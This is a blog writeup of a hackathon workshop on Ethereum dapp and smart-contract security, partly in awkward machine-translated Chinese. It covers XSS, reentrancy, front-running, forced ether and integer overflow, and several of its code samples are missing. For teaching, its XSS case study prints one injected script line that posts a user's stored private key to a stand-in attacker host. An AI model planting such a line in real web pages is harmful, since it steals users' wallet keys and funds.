这是我主持的一个研讨会的文字记录,在 的研讨会与 杰西卡-马歇尔, 威廉-迪亚斯,和 C.布朗.你可以在他们的脸书页面。
智能合约和dapp编程是一个新的范式,要求我们作为开发人员的行为与以前不同。在这个新的模式中,facebook的老话,即快速移动和破坏东西是行不通的。由于这种类型的开发所固有的风险,我们都需要学习采取缓慢和有条不紊的方法来建立我们的应用程序,在设计和编码时要小心谨慎。我们也不能把自己放在不适当的压力下,以满足严格的截止日期。我是在黑客马拉松上做这个演讲的,这有点讽刺。
如果说构建大多数传统网络应用程序类似于一分钟的诊所,那么区块链则更类似于急诊室。有些问题很小,但大多数问题一旦过了某个点就极难解决,如果有的话,每一个可能的负面结果都必须被考虑到。如果不是这样,你可能会面临可怕的后果。在我谈到具体的教训之前,我想重申技术的一些方面,迫使我们如此小心。
所有代码都是公开的
这造成了一个问题,有几个不同的原因。首先,由于任何人都可以看到你的代码,很明显,智能合约中不应该有敏感的个人信息记录。当然,想要在链上运行用户数据分析是一个崇高的事业,但这对你的新用户约翰尼来说可能听起来不是很好,因为他的浏览器历史记录刚刚暴露在世界面前!
你的智能合约及其相关存储应该只存储合约正常运行所绝对需要的信息。
第二,更重要的是,你的所有源代码对公众都是可见的。这意味着每一个坐在地下室里的全明星黑客都有足够的时间和自由来梳理每一行代码,寻找错误。这次不会再躲在预编译的二进制文件后面了。
气体限制
我相信你们中的大多数人都知道,以太坊区块链上的计算是昂贵的,而且还有一个限制!这就造成了一个问题。当你的合约中的逻辑有可能被操纵而导致大量的气体被消耗时,这就会造成一个问题。循环是造成这种情况的一个常见原因。
最后,但最重要的是。
不变性
所有代码都完全按照编程方式执行,除非出现DAO级别的硬分叉,否则在区块链上采取的行动是不可改变的。
因此,不需要背负任何责任。这就是我们如何确保不可信任。我们将信任编入我们的代码,这样我们就可以信任它,而不是彼此。事实上,我开始相信智能合约,而不是相信一些人类。智能合约不会对你撒谎,智能合约不会欺骗你,智能合约不会在星期二凌晨2点发布关于朝鲜的愤怒推文。
我,欢迎我们最终的全球区块链霸主。
但在我们达到这一点之前,我们必须是那些做建筑的人我们的智能合约应该是防黑客的,防脚本的,甚至是防技术文盲奶奶的。如果我们的技术文盲奶奶不小心把她在谷歌上搜索的痔疮膏发到了Facebook上,这不是什么大事,我们可以直接删除它。但如果她因为一个写得不好的智能合约而暴露了她的公钥,我们就没有什么办法了。而她那精通技术的侄子Johnny也帮不了她,因为他正忙着从区块链上删除他的浏览器历史记录呢!
我们必须假设每个人都是一个技术文盲的老奶奶,并尽可能彻底地确保函数被正确调用,操作无误,因为你永远不知道,有些人用数百万美元的以太币在你的多签名钱包库中捣乱,可能只是意外地取得所有权并自杀整个事情。
我将通过一些你应该准备应对的漏洞的例子,我们会有一些练习,让每个人都参与进来。
让我们准备好诊断一些应用程序和智能合约的漏洞。
应用实例和建议
作者 威廉-迪亚斯
是时候让我们的第一个病人了。这一位被命名为 "应用安全"。让我们从一些背景开始。
这是一个去中心化的游戏平台。
- 这是一个基于浏览器的应用程序
- 游戏开发者可以公开发布他们的游戏(在以太坊网络上运行的DApp)。
- 玩家可以注册该应用程序,并从各种游戏中选择玩法(并最终将他们的ETH花在虚拟商品上)。
- 新的钱包是在注册时创建的(在这种情况下不需要Mist/Metamask)。
- 钱包密钥存储在玩家的浏览器中,用于认证/小额支付目的。
正如你所看到的,这似乎是一个很好的地方,开发者可以通过一个平台发布并与玩家联系。
不幸的是,当一个游戏HODL QUEST发布后,下载它的用户立即开始从他们的钱包中丢失乙醚。
以太坊去哪了?让我们研究一下这个平台的一些方面,以找出答案。
- 这个问题是由几小时前发布的一个新游戏(HODL QUEST)引起的。
- 第一次打开游戏后几秒钟,钱包里的资金就没了。
- 在游戏注册过程中,开发者在平台内的表格中输入名字、智能合约地址和dapp的URL。
- 该平台将游戏iframe嵌入到dapp中,同时在页面顶部显示游戏名称。
你可以开始看到这是怎么回事......经过进一步检查,我们发现HODL QUEST的游戏开发者在注册时将一个内联脚本注入了游戏标题。所以仔细观察游戏的HTML代码,我们发现了这样的东西。
<h1>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));</script> QUEST</h1>
玩家的浏览器最终会评估插入在游戏标题处的javascript片段,并将玩家的私钥发送到攻击者的远程服务器。
这只是我们在构建去中心化的应用程序时可能出现的许多问题之一。下面是一份在你构建这些项目时需要记住的事情的清单。
- 保护钱包和私钥。如果用户的钱包被破坏,这就是游戏结束。在处理这些敏感信息时,需要特别小心。
- 保护用户信息。用户不希望他们的个人数据被暴露在世界面前。确保用户数据保持隐私。
- 明智地评估什么需要存储在区块链或你的服务器中。只包括你的智能合约在合约本身运作所绝对需要的数据。
- 使用HTTPS:这是标准做法,应该很明显。
- .gitignore敏感文件。另一种保护自己的方式,避免意外地暴露出漏洞
- 不要在你的代码中插入访问/API键。
- 在dapp内执行关键/危险的任务时,要求使用2FA。 在区块链上采取的行动是不可改变的,所以有一个额外的安全层是非常重要的。
你的应用程序的安全与你的智能合约的安全一样重要,应该永远放在心上。
智能合约竞赛条件
作者 杰西卡-马歇尔
什么是竞赛条件?竞赛条件是指电子、软件或其他系统的行为,其输出取决于其他不可控事件的顺序或时间。当事件没有按照程序员预期的顺序发生时,它就成为一个错误。这是Ethereum智能合约中许多漏洞的根源。
在Ethereum智能合约中,有几种不同的方式出现了竞赛条件。在这篇文章中,我们将重点讨论两种常见的情况。重入和交易订单前置。
再入性
如果一个计算机程序可以在执行过程中被打断,然后在其之前的调用完成之前被安全地再次调用("重新进入"),那么它就被称为可重入。在智能合约中,当对其他合约进行外部调用时,这可能会显示出来,因为它们有可能在原始调用完成之前回调到原始函数中。你问,这怎么可能呢?
输入回退函数, 这些函数是当以太币被发送到你的合约时,在没有提供函数名称的情况下被调用的。
在这个例子中,当提款函数用address.call.value() 方法发送以太时,它触发了BankRobber的回退函数,然后它可以再次调用提款方法。正如你所看到的,这将导致银行合约一次又一次地发送以太币,可能会耗尽银行的所有以太币!
我们怎样才能防止这种情况?有几个不同的方法。第一种依赖于我们对发送、转移和呼叫之间区别的理解。
从上图可以看出,有很多不同的方式来发送以太币,但大多数时候,你会想使用address.transfer。这是因为transfer只转发2300个气体,如果交易用完了所有的气体就会还原。这样一来,如果有恶意合约试图重新进入你的合约,气体将被用完,整个交易将被还原。
在有些情况下,使用发送或呼叫是有意义的,但你在使用这些时需要格外小心,因为只有在特殊情况下,当你对你发送乙醚的合约感到非常放心时,才会使用这些方法。99%的情况下,转移是正确的途径。
另一种防止重入的方法是在进行外部调用之前更新状态,并在合同中进行检查,以确保状态代表即将执行的事务。
交易订购前台运行
另一种情况,即竞赛条件抬头的情况是前面的运行。这是因为区块链的公共性质而发生的。如果你在智能合约中运行一个拍卖或类似的机制,出价可能会被操纵,因为出价在执行前存在于未确认的交易池中。在这段时间里,其他恶意行为者可以监控交易池,并发送破坏已经发送的投标的交易。此外,矿工可以对区块中的交易进行重新排序,使恶意交易获得优先权。
有几种不同的方法来防止像这样的操纵行为。一种是分批拍卖,另一种是提交和披露方案,即投标人发送他们投标的哈希值,这样他们在被确认后才会被披露。
让我们尝试拯救另一个病人。
这是一个做山丘之王游戏的合同,人们可以向合同发送乙醚,成为新的国王。当新的人成为国王时,老国王就会被送去合同的乙醚。你能找到这个漏洞吗?
重心不是问题,但这个漏洞有一点 "看着世界被烧毁 "的感觉。在这个例子中,一个合同要成为国王,然后在他们的回退功能中,他们可以回退。这将导致未来每一个试图成为新主人的交易失败,本质上关闭了合同。这是Ethernaut的一个很好的例子,它有探索智能合约安全的练习。你可以在这里看到关于这个漏洞的更详细的描述。
这些例子表明,在进行外部调用时,你永远不应该认为你所调用的合同是可信任的。始终注意防止攻击者可能尝试的每一种负面结果。
需要注意的其他智能合约最佳实践
后备功能
回退函数是很有用的,因为它们包含了当以太被发送到你的合约上时被调用的代码。但它们不能处理一切。
首先,当从转移函数触发时,回退函数只能访问2300个气体,所以逻辑需要非常简单,以便不遇到气体不足的错误。
There is a catch! fallback functions do not trigger when ether is forcibly sent to a contract.
The selfdestruct function sends the contract’s ether to the victim address. This send does not trigger the fallback function in the contract. Receiving free Ether is nice, but because of this, you need to avoid directly checking the balance of a contract and expecting it to be a certain value, because it might actually be greater than you thought!
Integer Arithmetic
Unlike most modern architectures, the EVM does not handle floating point numbers or arithmetic operations. All number storage and arithmetic is handled with integers. What does this mean? It means there is no point in your contract where you can store anything as a decimal or do operations that would normally return a decimal, like finding percentages and such. Lets look at an example.
Imagine you are creating a token sale smart contract that gives buyers a bonus purchase based on how much time has passed in the sale. It might look something like this.
As you can see, in a traditional language, this would be fine. The percentage of time passed would be calculated as a decimal between zero and one and then applied to the price.
Unfortunately, this doesn’t work with integer arithmetic. If a operation is done incorrectly, you could image some situations where an incorrect percentage would result in some serious issues.
In Solidity, you would have to do something like this:
This way, the percentage is calculated as an integer between 0 and 100, applied to the base price, and then divided by 100 to fix the “decimal place” to the correct point. This is a somewhat crude way to calculate the percentage because it sacrifices some precision, but is necessary based on how the EVM operates. You can get better precision by multiplying by larger multiples of 100, but that is a decision that depends on the context of the contract.
Integer Overflow/Underflow
According to Wikipedia, an integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits — either larger than the maximum or lower than the minimum representable value. Most languages have ways to account for this issue, but Solidity cannot handle overflow checking on its own. This has caused issues in the past with a few smart contracts on the blockchain, but there are easy ways to get around the problem. Here is an example for addition using Solidity:
This checks for overflow on an addition operation by ensuring that the result didn’t wrap around the maximum value held by the variables. There are similar checks needed for subtraction, multiplication, and division.
Luckily there are libraries that do this for you! You can check out our Basic Math Library and use it to handle all of these cases in your smart contracts.
Patient #3
Can you find the bug in the contract?
This is from Doug Hoyte’s contribution to the Underhanded Solidity coding contest!
From the post detailing the results, this contract features a storage array whose length field can be decremented below 0. This causes an arithmetic underflow, effectively disabling Solidity’s array bounds checking. As a result, after the overflow writes to the array can be used to overwrite any storage element located after the array — including all mappings!
So what did we miss?
The thing is, we don’t really know for sure. There could be some tiny thing that we don’t account for, and that could be the issue that kills the patient, or in our case, costs our users millions of dollars in Ether.
The best we can do is follow all the existing application and smart contract best practices the entire time we are designing our application and writing the code, test extensively, and get our code audited by someone who knows what to look for.
There is something else that can be used to improve the functionality and security of your smart contracts!
LIBRARIES!!
And more specifically, Modular’s Ethereum-Libraries.
Before you sit down to write your code, realize that there are a bunch of other great developers in the community who have probably already done something similar to what you’re trying to do, and probably have tested, secure code that you can use for some common functionality in your own project.
With Solidity Libraries, you can import the library into your smart contract and use the functions just like they were in your contract! We have over 20 libraries deployed on the test networks and mainnet for a variety of uses, like basic math, arrays, linked lists, tokens, and even crowdsales. This is production-tested code that can be integrated into your project easily.
Check out our repository for instructions on how to get started!
Now you have some tools to stay safe while building smart contracts and distributed applications. All thats left is to build things while being safe along the way. And don’t forget, the technology is still in its infancy. We are learning new things about the EVM and Solidity every day, so always stay up to date on the best practices for Ethereum development and any updates to the ecosystem. There are some great resources you can use in your learning experience.
Consensys’ Smart Contract Best Practices Documents: These are great notes that explore the vulnerabilities discussed today as well and many others that are important.
Modular’s Ethereum Libraries Repository: Here you can find detailed instructions on how to integrate our libraries into your project.
So, we may not have been able to save little Johnny from a lifetime of browser history induced shame, but if we follow the guidelines outlined in this post, we might be able to save millions more from a similar fate.
At Modular we are working hard on solving many security and usability issues that are present in the ecosystem. We are building Blossom, a new desktop wallet that allows users to avoid complicated key and address management while still keeping complete control over their funds. This wallet will also have KYC integrated into it as well as token and crowdsale launching functionality. You can sign up for newsletters on our signup page to get more updates about the release in the near future.
Check out our website: https://modular.network/
Get started with our libraries: Ethereum Libraries
Follow us on Twitter: @Modular_Inc
Join our Discord chat: https://discord.gg/sMu6Des
Sign up for the Blossom newsletter: https://blossomsoftware.com/
Thanks to William Dias, Jessica Marshall, and C. Brown for help making this article and presentation. And thanks to Rhys Lindmark and the rest of the awesome ETHDenver team for organizing the hackathon and asking us to lead the workshop!